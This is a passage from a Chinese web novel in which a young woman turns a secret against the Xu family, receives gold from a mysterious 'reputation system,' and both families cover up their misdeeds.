“你……你……你究竟想干什么?”徐二老爷慌乱极了,尔后灵机一闪,似乎抓到了关窍,他呼吸瞬间急促了起来,面上带着心脏剧烈跳动的赤红,他深吸一口气,深重地问道——
“若是我徐家不动你,这件事是否会烂在你的肚子里?”
徐家于魏兰蕴身上做下的罪孽罄竹难书,足以让魏兰蕴直接了当地报仇雪恨。
魏兰蕴大可以直接把这件事捅出去,这样夷三族的大罪,只要她卷宗一递呈至锦衣卫案几之上,那么徐家于她犯下的再大的血海深仇终会报尽。
可是她没有。
她安然地站在这个地方,把这件事情摊开来对仇敌说。
那么她一定是想要些别的东西。
“我所思正如您所想,您说呢?徐二老爷。”
魏兰蕴温和地笑着,犹如春风抚寒冰。
徐二老爷的思绪却并未因为这笑而停滞半分。
天平两端一端是血海深仇,而另一端如果只是不动她,放她一马,这样的筹码根本不够。
魏兰蕴必然是仇视徐家的。
但是相比于素不相识的刽子手,徐二老爷相信,魏兰蕴更恨对自己漠不关心,将自己送上绝路毫不手软的至亲。
明明是魏家长房嫡长女,母亲含辛茹苦供养一家人入仕,结果却被嘲讽、被轻贱、被抛弃这么多年,最后一个三房的无知妇人,都敢把她送出去为了外家侄子的前程。
她怎能不恨?
相比于魏家,徐家对她的凌辱够不上万一。
敌人的敌人就是朋友。
魏兰蕴的手里握着徐家的把柄,这等同了徐家就是她最忠诚的盟友,对于魏兰蕴来说,若是联合徐家报复魏家,必定如虎添翼。
徐二老爷恍然大悟。
他心意一动。
这世界上没有永远的朋友,只有永远的利益,只要魏兰蕴还需要徐家一天,她就不会主动把徐家的秘密曝出去,甚至,她还会因为需要徐家这样的助益,主动帮徐家隐瞒。
可是这样风险终究太大了。
天下熙熙,皆为利来;天下攘攘,皆为利往(注1),当利益存在的时候,魏兰蕴与徐家之间关系是坚固而不可摧的,但当利益消失的时候,这份关系就会像独立于平丘的苇草一样,风一吹就倒了。
一个深谋远虑的老爷,不会把自己的前程维系在一段朝若磐石暮作苇草的关系上,也不会将徐家三族的命脉寄托在一个不甚了了的女孩子身上。
要确保万无一失,这件事再也不会有人透露出去,最好的办法就是在这里击杀魏兰蕴。
可如果此时正大光明地击杀她,徐家不会占理,魏叔礼也不会善罢甘休,这件事情要是到了魏伯兴手里,那他们徐家欺君的事情便一定会被查出来。
徐二老爷冷汗直流。
他看着魏兰蕴。
看着这个在蔼蔼的日光下闪烁的女孩子。
这个女孩子竟然就在这样一个必死的局面里逆风翻盘。
她不仅翻了盘,甚至还占据了上风。
可她为什么这么平静?
将军打了胜仗来,秀才中了状元去,她怀抱着荣赐功名利禄般的畅快与得意,凭什么?凭什么还能这么平静?
徐二老爷只觉得心里一阵又一阵的胆寒。
这个女孩子太可怕了。
胜不骄败不躁。
面对死亡能保持平静的是勇士,而面对胜利能保持平静的,是真正的战士。
徐二老爷扶着墙根站了起来。
他环顾四周,深吸了一口气,咬了咬牙,抬手给了自己一个耳光。
“冬日里……”
徐二老爷用的力道十足,嘴角被抽破了,说话时缓缓渗出血来,他疼得龇牙咧嘴。
“蚊虫竟还有这般多,嗡声聒噪的在眼前晃荡。”
徐二老爷的声音躁极了,似乎是被这乱飞的蚊虫惹得恼怒异常,他顿了顿,恶狠狠地继续说道。
“也不知道是谁负责修缮的这宅子,如此作为,竟让虫子吓着了客人,真是万死难辞其咎。”
是徐二夫人负责修缮的这座宅子。
是徐二夫人非要来的清水潭,是徐二夫人非要冒天下之大不韪举办这场冥婚,更是徐二夫人明知道魏兰蕴的身份,盛气凌人草芥人命,胆大包天施加屈辱于魏兰蕴的身上,是徐二夫人——
万死难辞其咎。
私窃为盟,盟终不固(注2)。
要想让魏兰蕴将这个秘密掩藏下去,要想让他们因利益捆绑而成的关系坚不可摧,要想让受害者心无芥蒂地结下这个盟约,那就要拿出诚意来。
“但请娘子放心,我必定好好发落此人,方能给娘子一个交代。”
徐二老爷缓缓说道。
这声响亮的巴掌惊住了侍立在不远处的奴仆,他们俱惊诧地张大了嘴望着徐二老爷,就连魏三老爷,也掀开了车帘看了一眼。
作为清水潭徐家的嫡出二公子,徐二老爷自出生之日起,就是众星捧月北辰星拱的人物,他从未在同僚面前、在家奴面前,这般露丑过。
徐二老爷只觉得内心一阵哀戚。
而他再来不及哀戚。
他定定地望着魏兰蕴的神情。
连眼睛都不敢眨一下。
魏兰蕴的表情没有什么变化。
她依旧安静地站在原地。
湛蓝的天空之下,是交错的廊檐飞甍,檐甍缝隙里,是灰尘与蜿蜒盘旋的虫豸,风一阵吹过,一只偌大的蚰蜒掉在了地上,吓得墙角站着的小丫鬟惊叫一声。
“丹州府四季如春,清水潭位于丹州极南处,冬日里更是煦煦,蚊虫自然冻不死尽,二老爷常年在河间任职,鲜少见到如此大的蚰蜒,自然会被吓了一跳。”
魏兰蕴轻声说道。
她顺承了徐二老爷的这般说辞,似乎是认可了徐二老爷的说法,徐二老爷松了一口气。
“自然,这并非一人之过错。”
徐二老爷看着魏兰蕴的脸色,一字一句斟酌而道。
“合抱之木,生于毫末,九层之台,起于累土(注3),洒扫、填补、修缮、查验以及出入的奴仆走卒,诸多关卡之下,竟没有一人发现这般大的虫豸悬挂于娘子颈首之上,这些人如何惩处,量刑几何,还看娘子示下。”
魏兰蕴受了这么多的屈辱与苦楚,并非是徐二夫人一人的责任。
她认为是谁的责任,她还怨恨谁,她欲报复谁,徐家必当为她鞍前马后唯命是从。
但请她示下。
在徐二老爷利落地抛出了这场结盟的筹码。
他自以为已经给出了他的诚意,也允诺了魏兰蕴想要的东西,他自以为他能看见魏兰蕴事如所料的志得,再不济也该有求而得之的意满。
可魏兰蕴却依旧安安静静。
没有半分变化。
徐二老爷一颗心陡然高悬了起来。
她是什么意思?
她是满意还是不满意?
难道是他错误地预料了魏兰蕴的意思?是魏兰蕴根本没有这个意思?还是他抛出来的诚意不够?亦或是徐家应允的东西不够多?她
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不止是要徐家助她报仇雪恨?她还要什么?她还想从徐家这里拿到些什么?
豆大的汗珠从徐二老爷的额角落下。
啪嗒一声摔在了沙砖地上。
水渗进了砖石里,染出一片蒙蒙暗色。
一只蝇虫从徐二老爷面前悠悠飞过,是一只绿莹莹的发着嗡鸣声的苍蝇,带着腐朽的恶臭的气味,吵得徐二老爷心烦意乱。
他举起了手。
狠狠往苍蝇的方向扇去。
啪的一声。
手掌扇到了徐二老爷自己脸上。
苍蝇从徐二老爷手掌的缝隙里边穿过,在徐二老爷的面前倏来忽往,就像是在嘲笑徐二老爷的无能,他对一个发现了徐家违逆秘密的女孩子无能为力,他对这只四处乱飞的绿头苍蝇也无能为力。
就像是一枚火星子掉落在了干燥的稻草堆里。
徐二老爷累积已久的心火倏地一下被点燃了。
他举起手来想将这只恶心的苍蝇打死。
手掌抽在自己的面皮上。
一下又一下。
而苍蝇毫发无损。
它在徐二老爷面前翻飞着,好似飞云掣电,随后绕了两个圆圈,径直往天上飞了,尔后消失不见。
通红的掌痕在徐二老爷的脸上层出叠现。
他的双颊近乎都肿了起来。
徐二老爷无力地将双手放下。
他似乎在此刻,在清楚地意识到,他确实对那只乱飞的绿头苍蝇无能为力,同样,他也对这个拿捏了徐家命脉的女孩子无能为力。
事情发展到现在。
不是这个女孩子祈求他们徐家结盟。
而是他们徐家妄图以结盟为筹码,祈求这个女孩子高抬贵手。
徐二老爷的背陡然一下驼了下去。
“起先……我对娘子您,盛气凌人,甚至……还欲将您置于死地,是我的错。”
徐二老爷低垂着头。
三两白发从他的鬓角落下。
他早已过了不惑之龄。
脖颈耳后甚至已经开始长出了黑色的斑纹。
他弓着背垂着头,卸掉了高高在上的气质,诉说着恳切的言辞。
就像一个可怜的迟暮的老人。
魏兰蕴没有说话。
眼神却如一块石子掉进了银湾水里,开始有了波澜。
她似乎被打动了。
徐二老爷暗自感到窃喜。
既然利益堆砌而成的筹码没办法撼动这场牌局,那么就让感情来。
可旋即魏兰蕴的眉头又轻蹙了蹙。
徐二老爷又感到一阵紧张。
是他还不够可怜?
还是他们徐家犯下的过错不足以让他被感到可怜?
徐二老爷再而感到一阵恼怒。
抄家的知县,灭门的知府。
他是堂堂统管河间三郡盐政的三品大员,莫说丹州府,就连京都掌司都要敬他三分,他这样位高权重的老爷,抛掉尊严抛掉脸面抛掉体面,对这样一个草芥般的女孩子卑躬屈膝,她应该感到满足。
俄而魏兰蕴又笑了。
轻轻浅浅的一笑,晃得徐二老爷挪不开眼。
她为什么又笑了?
她这又是什么意思?
徐二老爷死死盯着魏兰蕴的表情,生怕错过一瞬。
三架交错的拱门之外停留着两辆马车。
马儿等了许久了,低着头拱着路边新生的青草。
魏三老爷在马车里等得恼了,他敲了敲车壁,遣了仆从前来催促。
徐二老爷刚想呵斥下这些奴仆,却见魏兰蕴对奴仆点了点头,俄而又转身对自己施了一礼,她缓缓开口,声音陡然变得活泼起来。
“日后科考道上还指望叔父多多照顾,多谢叔父款待,我在徐家顽得很好,先行告辞了。”
不同于日前冰冷地唤他老爷,此时的魏兰蕴恰若十五六岁的小女孩儿,活泼可爱,还唤他作叔父。
徐二老爷不可置信地抬了抬头。
他近乎敏锐地捕捉到了魏兰蕴的言外之意。
原来是因为结盟的筹码还给的不够。
除了报复魏家,她还要别的东西。
她要徐家为她所用,她要徐家在科考道上对她全力相助,她要徐家扶她上青云之路。
原来是因为这个。
徐二老爷一颗心落回了肚子里。
“有空再来二叔家顽,云姐儿是最喜你的。”
徐二老爷心乐而声泰。
这是谈妥了。
徐二老爷给出了他的筹码,魏兰蕴加上了她的筹码,而徐二老爷最后又允诺了这一堆的筹码,在他们这些老爷纵横筹谋的官场上,这就是谈妥了的意思。
徐二老爷几乎是瞬时变换了一副神采奕奕的样子。
他重新挺直了腰背,伸直了脖子。
乡人赶着三两只羊经过。
麻绳在羊的前肢上绕了几圈,而后交叉着在羊的脖子后面打了个死结,羊向前每走一步,喉管便被麻绳勒上一下,这是乡里惯常绑牲畜的绑法。
乡人拿着柳枝驱着羊往前走,羊发出嘶哑的叫声。
“徐二老爷,我们后会有期,来日方长。”魏兰蕴脖颈上的伤痕尤为醒目,她站在车辕上,声音沙哑,回首微笑着与徐二老爷对望。
徐二老爷顿住了。
嗯?
她唤的什么?她怎么又唤上了二老爷?
她这是什么意思?她这是要反悔?
不是已经谈妥了吗!
徐二老爷不安地扫视过羊群,又重新看向魏兰蕴。
如此多的筹码甩下去,还不足以抵消她的怨气吗?得到他们徐家全心全力的助力是多少人求之不得的东西,她既然已经拿到这么多了,竟还拘泥于这些小结小怨,韩信能忍垂胯之辱,张良也能桥下拾履,女子就是女子,心胸狭隘偏怀浅戆,如何能成就一番大事业?
不过……
一个能在岩墙之下绝处逢生的女子,是这样会这般囿于仇怨毫无谋算的人吗?
更别说这交易还是她抛出她提下的。
或许只是自己想多了……而已?
她说话的时候分明是笑着的,这声疏远的称呼,说不准只是说给魏叔礼听的,好刀不亮刃,在魏叔礼面前展露一丝一毫,无论如何都是对她没有好处的。
可是——
徐家到底也没她什么把柄。
万一她仍然记得这份仇,卧薪尝胆后一纸状书将徐家送上绝路,那徐家也是难有这份招架之力的。
徐二老爷一颗心又重新悬了起来。
魏家的马车启程了。
六角眼编的竹帘在行路中摇曳。
魏兰蕴转头,正巧能从车帘的缝隙里,看见徐二老爷绷直的脸。
你这样的人。
你这样自以为是东猜西疑的人。
就应当在杯弓蛇影中自惶自恐,在长夜漫漫不敢睡卧入眠。
你会在每一条我的消息传来之时,想起你头顶上悬挂的利剑。
你想杀我,但是你怕杀完我你会死;
你不杀我,但是你会永远会担心我什么时候动手杀了你。
来日之后,你进退维谷风声鹤唳。
至此方长。
忽的有一道冰冷的机械般的声音在空中炸裂开来。
这是来自另一个时代的声音。
刹然炸开在魏兰蕴的耳朵里。
没有人能听得见,除了她。
一块金裸子凭空出现了,然后滚落在马车的底板上,在架空的板子上弹跳,发出长久且带着余韵的响声。
【进度条抵达百分之一,恭喜宿主,获得奖励‘来自新世界的足金’一份。】
7. 独行的少女(一)
魏兰蕴俯身按住了这颗金锞子。
耳畔空洞的吵闹的机械的冰冷的声音,都随着这枚黄金,被魏兰蕴的手一齐按住。
这是一块极为细腻纯正的黄金。
是一个不属于这个时代的提纯及锻造工艺打造出来的金属制品。
直到这份所谓的“奖励”出现的第二次。
魏兰蕴才缓慢地让自己接受这个事实。
她似乎被绑定了一个奇怪的东西。
这是一个基于三维世界人体自我意识能动性的模糊熵量化集合,通过他人意识对被绑定者本身的积极性思考,转化为相应的能量,能量通过光的链接,打破时间与空间的固有化模态,从而实现有形物体的传递,并以此作为给被绑定者的正向奖励。
当徐大夫人得知魏兰蕴的身份,对她所持有身份产生了主动化的思考,并衍生出了相应的主观能动性情绪的时候,是这个系统第一次打开的时候。
系统发出哔的一声,将一颗银锞子掉落在了魏兰蕴的袖子里。
她不动声色地将银锞藏了起来,警惕观察周围人的反应。
没有一个人对这尖锐且机械的声音做出反馈。
对照发现,这样的声音是特殊的。
只有魏兰蕴听得见。
当徐二老爷被魏兰蕴恐吓之时,同样对她进行了特定范围内的积极性思考。
于是系统的进度条再次增长,赋予了魏兰蕴第二次“奖励”。
通过二次试验,魏兰蕴可以辨别出这个所谓的“系统”的运行逻辑及规律。
然而积极性思考的范围宏大而宽广,魏兰蕴无法给它精确定义,但通过她的理论知识与判断,她认为可以大致将该系统归纳总结命名为——
声望值系统。
声望,指公众对个体或组织的认可程度(注1)。
那两个视她为蝼蚁的人认可了她。
于是,这个系统获得了能量。
通过金银锞体积和重量的计算,魏兰蕴得出,当这个声望值系统的进度条达到百分之一百的时候,她所获得的能量足以让她实现活体物种在时空的传递。
这意味着这份能量可以让她回家。
亦或者是。
救一个已经死去的人。
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天霁晚气,霞澄暮阴(注2)。
裴琚一觉睡醒,便到了此时。
楼下还在传来砰砰砰的磕头的声响。
一声又一声。
同大楼里的人声一齐鼎沸。
裴琚其实并不知道这个人是谁。
只隐约记得是丹州府里某个判司的儿子,家中同宫里有几分关系,去过两次宫宴,所以敢大言不惭唤他琚郎,还敢用他儿时的事情玩笑。
“十一郎最讨厌别人提这事儿了。”
四楼的围栏边支了张桌子,几个相熟的公子对坐品茗,有人轻瞥了楼下一眼,感慨而道。
“是呢。”另一人嗅着茶香,接着说道,“那时候魏邕还在西林讲学,华阳姑母与魏公素有私交,便把琚郎塞进了魏家进学,琚郎逃学翻错了墙,恰惊了魏娘,被姑母拎着耳朵好生教训了一顿。”
事情是这样的事情,传言又是另样的传言。
华阳公主素来是爱玩笑的,她并着几个相熟相亲的长辈可以这样开裴琚的玩笑,这并不代表一个非亲非故的陌生人也能这样开裴琚的玩笑。
崔九郎将茶盏一饮而尽,悠悠看了楼下磕头的朱六郎一眼,摇了摇头。
咎由自取罢了。
一楼依旧在玩射艺,二楼仍然在比捶丸,三楼倒是不踢蹴鞠了,蹴鞠场拆了抬了两张大赌桌上来,筹码在桌上垒得像宝塔。
小王孙下了楼,铁甲卫一左一右保护着他,他挤在赌桌的一角,玩得开心极了。
赌桌上有人玩的开心,赌桌下也有人不开心。
“朱六郎毕竟是杨妃娘娘的表侄儿,这都两个时辰了,宁都世子竟还不让人饶过了他……”
说话的是朱六郎的表兄,他们同为丹州人,来银湾作陪多半是附势而为。
朱六郎说错了话,惹恼了宁都王世子,竹篮打水一场空,他心里也不好受。
“但到底他也是被罚来丹州的,他也敢这样嚣张?”
“是啊,去岁当街挑衅锦衣卫张千户,妨碍锦衣卫办案,被陛下一道旨意罚来丹州思过,他这哪有什么思过样?兴头起了便来银湾,折腾得银湾山不是山,水不是水……”
有人应和着嘀咕道。
宁都世子骄奢纨绔惯了,来山便修登天梯,看水便造卷帘舟,仅是这栋酒楼,便在他驾临的数日里拆了修、修了拆,蹴鞠场捶丸坪都不知来来回回造了多少次。
这哪里是个思过的样子?
这样嚣张,他也不怕被一本折子参上去!
丹州与朱家有故之人聚在角落里愤愤不平。
他们在一楼悄悄地说,这声音应该无论如何都传不上四楼。
可是裴琚耳力极好。
隐隐约约如虫鸣一样的怨怼话语,也便隐隐约约摇摇晃晃飘进了他的耳朵里。
裴琚不以为意,用锦被蒙住脑袋,打算再睡过去。
“若是自己一人悄悄的来便也罢了,如此张扬,还把秦老王爷家的独苗带了来!”
说话这人愤懑极了,情绪骤然倾斜出来,声音尖锐极了,引来不少人的目光,他吓得骤然间噤了声,待到大家都将目光别了过去,他才犹犹豫豫又将心中剩下的那点怨恨吐露出来。
“谁不知道这小王孙是秦老王爷的宝贝根子,平日里宠得含在嘴里怕化了,就这么一骨碌给人拐了出来,若是出了什么事,只怕这纨绔这戴罪之身就要罪上加罪了。”
“你见过有人思过不在天牢大狱在丹州外祖家的?”有人反讽一句。
他毕竟是当今天下最尊荣的双王之子。
罚没裴琚南下,无非就是做个样子给人看,显然裴琚自己也明白。
这不,该玩还是玩着。
“不过他三年前立下的功劳,可谓是举世无双……”有人忽的感叹了一句,“就凭他的功绩,遑论当街阻挠锦衣卫办案,就算是斩杀千户张令褀,他也能全须全尾地从诏狱里面出来。”
三年前北戎十八万骑兵南下,直捣雍都,当时的雍都太守弃城而逃,连带着雍都守备军三千七百六十二人如鸟兽散,不战而降,雍都城背后就是青城关,青城关之后就是帝京,而距离青城关最近的西林守备,赶赴帝都防卫也要整整三
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天。
三天之内,若是青城关破,那便是帝京沦陷,天子被俘。
那时候整个京城人人自危。
就连首辅刘大人,都向陛下进谏了再度南迁的奏章。
大梁已经因为北戎的进攻南迁了一次了,若是再南迁第二次,岂非是灭自己志气涨夷族威风?动物断掉脊梁会死,王朝断掉脊梁会亡,而民族若是断掉脊梁,会像一条丧家之犬一样,被别人赶到角落里苟延残喘,然后用屠刀一点一点放掉血液,直到薪尽火灭。
就在举国一筹莫展之际。
是裴琚。
是当时尚未加冠,年仅十五岁的宁都王世子裴琚,千里奔袭直抵雍都,带领雍都军民百姓一万八千一百一十一人守城三日,歼灭敌军三万七千。
他守住了大梁在乌苏江以北的最后一道防线,不仅给足了西林、东襄、雁门、彰武等地守备军回防时间,还为数万江北百姓夺来了至关重要的回迁路线,因他而逃生的大梁人不计其数。
虽然最后雍都城还是破了。
城破之日,戎国小王子的红缨枪正好投中裴琚的心脏。
“那枪足足有这么粗!”有个武将公子没听着前边的话,还以为他们在谈论三年前那场空前绝后的守城之战,他凑了进来比划着手舞足蹈地道,“直直穿过了他的心脏,世子近乎绝了气息,按理来说必死无疑!可就在某一日,世子突然就苏醒了过来,伤势奇迹般好转,如今不仅没死,还能吃能睡能跑能跳。”
“这是上天的庇佑!这是神迹!”
裴琚揪了书报两角,团成纸球,塞进了自己耳朵里。
可这声音仍旧细碎,一点一点钻进他的耳朵里。
朱六郎的表兄不屑地冷哼一声。
但他不敢跟那武将正面交锋,只躲在角落里跟志同道合的几个人嘀咕着:“他们那些弄刀弄枪的就爱夸大了说,左不过那枪没击中要害,又或者卡在铠甲上下不来,这世上哪有心口被捅了个大窟窿还能活下来的人?吹得严重些好多赚点军功罢了!”
虫鸣一般谈论他的声音滔滔不绝,令裴琚有些烦躁。
他裹着锦被翻了个身,胸膛衣襟露了条缝隙出来,隐约可见他心口佩着的护心镜。
这块护心镜下,的确有块腕大的疤痕。
胸口与后背相称。
阴雨连绵的天气,这两个伤疤的贯通处,还会随着雨势而隐隐作痛。
裴琚已经忘记了他是怎么受的伤。
在经受这强烈的贯穿伤却又奇迹般活下来后。
裴琚忘记了很多东西。
他不记得他当初是如何受的伤,也不记得他当初是如何守的城,更不记得他是怎样从那样一个惨败的战场中活下来的。
母亲找到他的时候,他不在雍都战场上。
他在一间破败的女娲庙里。
庙里的女娲像掉了一半的漆,只剩了半面慈祥的笑容。
母亲说,这是一场神迹。
没有人可以从这样的伤势中活下来。
除非这是一场神迹。
竹帘被风吹动。
漏下的阳光落在魏兰蕴的侧脸上。
她只半边脸亮堂堂的。
就像漆色掉了一半的女娲像。
8. 独行的少女(二)
魏兰蕴用手背别开了竹帘。
今天是个艳阳天,阳光晃得她睁不开眼。
马车驶上了银湾的主街,街上车如流水马如龙,车用的是辐条轮,马用的是高桥鞍,穿着交领袄子的妇人卸下钉死的板门,拎着油瓶的客人呼着冻僵的手三两步便踏进了门,灌油用的是竹结做的勺子,但卖油妇的手艺很好,她拎着勺子高高倒下,油像小细流般灌入瓶子里,一滴也没撒。
“一共三钱两文,收您三钱,谢客隆情,承蒙光顾。”
油妇挑着秤砣,一提一称,利落地收了钱,然后灌下一个油壶。
魏兰蕴闭了闭眼,再睁眼窗外却还是一样的景象。
卖油的依旧在卖油,买油的依旧在买油,左不过褐色交领变成了青绿色圆领,长袍换了短袄,油钱从三钱变成了五钱。
魏兰蕴看了很久。
直到阳光炙烤得肌肤微微发烫,魏兰蕴才意识到,这是一个无比真实的世界。
这不是一场噩梦。
这是一个真实的封建的世界。
魏兰蕴忽的不由自主地颤抖。
她所看见的,所有理所应当又蒙昧无知的事情;她所经历的,所有仁义道德又肮脏龌龊的事情;她所置身处地的,所有漠视的轻蔑的视人命为草芥的事情。
原本被她埋藏在脑海里。
而在阳光的照耀下,它们破土发芽,尔后生出恐惧的枝蔓,在脑海中开花,满枝红似霞。
她掩藏在袖子里的手死死握紧,瘦弱的关节处发出咔哒的生理性弹响,嗜铬细胞分泌的肾上腺素让她的手臂保持着一种无法停止的节律性抖动。
银湾的二月是有花的。
风带着那些早早盛开的花的香气从高山漫过人海,漫过商旅,漫过乡绅,漫过白衣,也漫过卿相,漫过银湾的住户,也漫过那些异乡的游子。
魏兰蕴抬头向上看。
昭昭的一轮红日挂在天上。
她说。
“魏兰蕴,你要回家。”
魏兰蕴。
你一定要回家。
-
徐家终于出殡了。
原备下的送丧哀哭者七十五人,卸下了脸上惨白的妆,静默地站在一旁。
在徐二夫人一个人的哭喊声中。
徐大少爷卷了草席,被破败的板车遮掩着匆匆地拉出徐家偏僻处的角门。
徐二夫人还记得他考中状元那年。
锦绣金铃挂了满街,他配花走马长街而过,是骄阳明媚的少年。
而现在他死去,裹着单薄的草席。
无人为他痛哭,无人为他哀悼,他一个人寂寥地迈向地府,只有两卷现扎的纸铃为他引路。
从此庙堂史书,再无这个人的名字。
徐二夫人心都碎了。
她想追去看看她的儿子,却被奴仆们像一道墙一样拦住,奴仆们像对待魏兰蕴一样,用麻绳捆着她,把她塞进耳房里面,颈首栓在卧榻上。
徐二夫人想呵止住他们,摆出夫人的气势来,却没有一个人再度听命于她。
就像半日前的徐大夫人一样。
徐大夫人摇着扇子,站在廊下,与徐二老爷闲聊着。
她不经意间提到了血脉亲情与娘家舅戚于这件事上的立场,令徐二老爷感慨万分,随后又不经意间提到了徐大老爷。
徐大夫人说:“若是兄弟之间一路扶持,在朝堂上必定无往不利,一帆风顺。”
徐二老爷最有出息的儿子已经死了,此事一出,他对二夫人娘家的看法也全然改观,那么他现在还能扶持相助的是谁呢?
徐二老爷陷入了沉思。
徐大夫人嘴角噙着的那抹笑意愈发明显。
她还记得二夫人刚进门的时候,对她低眉垂眼敬茶的样子,然而后来二老爷扶摇直上,那双低垂的眼睛就再也没有出现过。
不知道多少人在背地里嘲笑过她。
不过如今好了。
从此往后,都是她的好日子了。
徐大夫人舒展了身体,呼出长长的一口气来,这是她经年以来的压抑的、憋闷的、发梗的窝囊气,她好久都没这么畅快过了。
-
清水潭徐家又起了一场大火。
就在昭昭的白日之下。
火近乎是瞬息就起的,眨眼间便吞噬了整个宅邸,救火的义社足足来了十三处之多,水龙搬来了三个,徐家的家仆为了救火死伤者重,火班与义社的民丁更不必说,风卷着热浪一路烧上了楼阁顶,裹着火焰的木架子倾倒下来,砸死一片皂吏。
乡人们说,徐家的二夫人在火里被吓出了癔症,快马加鞭送去了道观安魂,徐家的当家大夫人感念妯娌之情,自请同入道观,照拂弟媳。
“老大家的也送进去了?”
魏三老爷睁开了眼。
他顿了顿,有些诧异地说道,“徐老二倒是做的干净。”
魏三老爷的马车里面多了一个人。
是从清水潭匆匆赶回来的管家。
牵强附会的说法并不足以让这件事烟销卷终,魏三老爷与徐二老爷约定下的,也不仅仅是这一个简单的说法这么简单。
正如魏家眨眼间便病死了一批奴仆一样,徐家的老宅也陡然间燃起了一场冲天的大火,那些分不清是魏家的还是徐家的、是病死的是烧死的还是勒死的人,通通都死在了这场名为意外的火里。
阴司路远不带话,灭了该灭的口,才能让这件事情真正的烟销卷终。
“两个夫人是立刻走的,赶的是脚程快的青蹄马,此刻已到青州观里了。”管家回答道,他在清水潭了结后事尔后匆忙赶来,袄子里积满了烟尘和汗水。
魏三老爷确实没有想到,徐二老爷能这么轻易料理长嫂。
毕竟是高门内眷,家门里边当家的大夫人,况且长嫂如母,这又不是他徐重的婆娘,那秽事也不是徐大夫人做下的,确实没有必要连大夫人一起送走了。
不过谁让他们魏家正得上宠如日中天呢。
魏三老爷露出了一抹得意的笑。
他想起了徐二老爷在他面前低三下四地自打耳光。
就在他启程半个时辰之后。
河间呼风唤雨的三品大员骑着一匹老马赶上了他,在他马车里赠金致歉自掴其面。
就与半个时辰前在魏兰蕴面前别无二致。
随行的魏家家仆说,偌大的一只蚰蜒掉下来,吓得徐二老爷突然便跌倒了,蚊虫多得惹了老爷厌烦,徐二老爷驱蚊之时一时手误,便掴在了面上,不止一次。
冬日里哪来的蚊虫,一个盐道里拼杀出来的大臣也不会被一只虫豸吓着。
在魏三老爷看来,这不过是借口与托词罢了。
既要脸面,又不要脸面,既怕魏伯兴的女儿有怨,在私下偷摸地道歉,又拉不下脸来真的道歉,只能借了个蚊虫之名,在小辈面前滑稽得像个丑角儿。
井蛙不知天高,池鱼不知海阔。
魏三老爷从前只知道,内阁的位置是那登天的位置,可京路迢迢,天离他太过遥远,他琢磨不透这天究竟有几丈高,这权柄究竟有几分重。
而今天,他终于体会到了。
魏三老爷心里无法言喻般弥漫出满足与狂喜,他惬意地舒展开身体,头枕在白鹅绒的软枕上,冠歪了一大截。
这本不是一个有身份的老爷应该做的事情。
不过一个老爷有没有身份,也不是看他做的什么事情。
魏三老爷从未如此从容过。
“那家里,夫人那儿是否还要……”管家隐晦地问道。
事与人言的形状是一个样子,事与人后的形状又是另一个样子,徐家已经给出了他们在事里事外的态度,那么他们魏家是否也要——
像处置徐家两位夫人一样,处置三夫人?
魏三老爷手里盘着核桃,他听见管家的话,手中的动作停滞一瞬。
再怎么说,这也是他的亲侄女啊。
看见自己家里的孩子,被虐待被囚禁被当成最低等的人畜去献祭,他怎么会不心疼呢?
魏三老爷犹记得,魏兰蕴被老太爷带在身边亲自教养的那十年。
那十年间,她是老太爷身边最为亲近的孙女,是魏大夫人口中最稳重的女儿,是魏家的孩子们最为崇敬的长姐,也是他与三夫人心中最惹人疼爱的
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侄女。
只是可惜,她不争气。
她现在已经不是老太爷心爱的孙女了。
自然也不是他心中,值得被疼爱的侄女。
“县报里那行字的来头找到了吗?”
魏三老爷忽的问道。
这意思就是没有这个交代了。
“已经找到了。”
管家明白了魏三老爷的意思。
他没有再接着问下去,而是顺着魏三老爷的问询,侃侃回答了起来:“大诰颁下来之后,大老爷给二娘子请先生考进士,咱们家便派人去县报坊里,让人加上了这一句,从前咱们家里多是大娘子书会夺魁,县报坊的人没仔细看,误以为咱们报的还是大娘子,便写成了大娘子的名字。”
“咱们家?谁干的?”魏三老爷眉头一皱。
“是三夫人。”
管家低头,用极细极小的声音,禀报了这个名字。
“这个蠢妇,挖坑崴了自家脚,刨坑跌死自家羊。”魏三老爷近乎要气笑了,他用近乎生涩的上阳俚语低骂了一句,核桃盘在手里发出咯吱咯吱的响声。
事情的脉络随着剥茧抽丝之后逐渐变得清晰,事情的结果也逐渐尘埃落定,但魏三老爷心里还是感到一阵没来由的不安,他定了定神,然后审慎地问道。
“尾巴都已经清干净了吧?吁嗟还有遗漏否?”
-
春雁从县报坊出来之后,便钻进了铜锣鼓子巷里。
她大赚了一笔。
在巷子末的陈嫂食肆,春雁十分舍得地点下两碗油渣宽面,放肆吃喝了一顿后,她一溜烟钻进了南平街头上的魏家宅子里。
丫鬟聚在庑房里。
“凭什么要我去?我不去!”
“我也不去!大不了把我派回外院去!”
“那儿要人,咱就从外头倒夜香的洗衣裳的里边挑一个出来,亦或是找人牙子就新买个人来,在咱这点兵点将,算怎么个回事?”
她们聚成一团,怒骂着议论纷纷。
而春雁一来,她们俱都噤了声。
春雁钻进人群里,推搡着别人胳膊腿,硬生生挤开了一条路来。
她张望着头问道。
“怎么了?怎么了?”
没人回答她。
忽而有一个丫鬟努了努嘴。
她对面粉头花的丫鬟又给了一个眼神出来。
第三个丫鬟意领神会,挑了一个最便宜的陶胚子花盆便砸了起来。
“凭什么?这样好的位置,应该是我的!”
丫鬟们又闹成了一团。
-
傍晚时分。
归程的车马在魏宅正门口停驻。
魏三老爷率先下了马车。
府里的大管事为魏兰蕴掀起车帘,四五个窈窕的婢女候在车旁,恭敬地搀扶她下车。
魏兰蕴身上穿的是家里的常服衣衫,双手掩在袖子里,头上待着帷帽。
在外边顽了三四日,调皮的小娘子衣裙上沾上了不少泥水,她慈祥的三叔父并未因她的不懂事亦或是不规矩而怪罪于她,反而亲自远行去将她接回。
四邻议论纷纷。
他们都说这个上阳城来的魏家仁善极了。
尤其是这个魏家三房,闻融敦厚内仁外义,这样一个不忠不孝不悌的孩子,魏家三爷却仍然愿意和善相待,哪怕是她肆意地去长辈家里闹着顽了一大场,也没有厉色责怪她的。
有个穿着褐色袄子的人混在街坊之间。
他喋喋不休地诉说着魏家其事。
最后总结之时,他摆了摆手,却险些露出衣袖里藏着的魏家家徽。
褐衣人不动声色地将家徽重新塞进袖子里,强装了一副欲语还休的样子,他与四邻幽幽叹息一声,感慨尽化在了不言之中。
“真是……”
多好的魏家,又是多么刁蛮不懂事的小娘子。
邻人纷言啧啧。
春雁却雀跃不已。
她搀扶着魏兰蕴,欢欣雀跃地朝着府里走去。
这是她足足花了一颗银锞子才抢来的好位置。
